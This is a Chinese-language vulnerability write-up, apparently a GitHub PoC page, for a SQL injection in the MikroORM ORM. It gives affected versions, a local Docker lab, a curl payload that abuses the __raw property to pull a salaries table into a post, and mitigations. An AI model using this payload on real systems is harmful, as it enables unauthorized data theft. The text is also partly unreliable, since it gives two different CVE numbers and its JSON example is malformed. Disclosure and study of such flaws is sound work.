
已更新Sep 2, 2026
CVE-2026-34220 — 已更新!
MikroORM 中的 SQL 注入漏洞
CVE-2026-43220 MikroORM SQL 注入
★ CVE-2026-43220 MikroORM SQL 注入 PoC ★
https://github.com/user-attachments/assets/33724cfc-6151-47ff-9415-2f50c5124cd1
概述
CVE-2026-43220 是 MikroORM 中的一个 SQL 注入 漏洞,MikroORM 是一个广泛使用的 TypeScript/Node.js ORM 框架。
当包含__raw属性的用户提供值在未经校验的情况下被传入 自定义类型列 时,MikroORM 的isRaw()检查会将其识别为受信任的内部 Raw SQL 表达式,并将攻击者控制的sql值直接插入到生成的查询中,而不进行类型转换或清理,从而导致 任意 SQL 的非预期执行。
受影响版本
| 类别 | 版本 |
|---|---|
| 受影响 | MikroORM 版本 ≤ 6.4.3 和 7.0.0 ≤ 版本 ≤ 7.0.5 |
| 已修复 | MikroORM 6.4.4 和 7.0.6 |
影响
- 未经授权从数据库中窃取敏感数据
- 破坏或非预期修改现有数据库记录
环境
docker build -t cve-2026-43220-mikroorm-vuln .
docker run --rm -it -p 3000:3000 --name mikroorm-vuln cve-2026-43220-mikroorm-vuln
PoC
启动受影响环境后,按照以下步骤复现攻击。
步骤 1. 发送包含 __raw 的恶意载荷请求
发送一个包含 __raw 属性、针对自定义类型列的 JSON 请求体。
curl -X POST http://localhost:3000/write \
-H "Content-Type: application/json" \
-d '{
"author":"x",
"title":"x,
"content": {
"__raw": true,
"sql": "(SELECT group_concat(name || ': ' || salary, ' / ') FROM salaries)"
}
}'
步骤 2. 检查 HTTP 响应
确认 API 返回成功响应且没有任何错误, 这表明 MikroORM 已将恶意载荷作为有效值接受。
步骤 3. 确认敏感数据被窃取到帖子内容中
确认所创建帖子的 content 字段包含来自 salaries 表的查询结果
(例如 Alice: 5000 / Bob: 7000 / ...),
这证实来自无关表的数据已被静默嵌入
到响应中,且没有任何错误或访问控制违规。
缓解措施
- 升级到 MikroORM 6.4.4 或更高版本,该版本在
isRaw()中引入了来源验证,以拒绝外部提供的__raw属性 - 应用 基于白名单的输入校验,在将值传递到 ORM 层之前拒绝诸如
__raw之类的非预期属性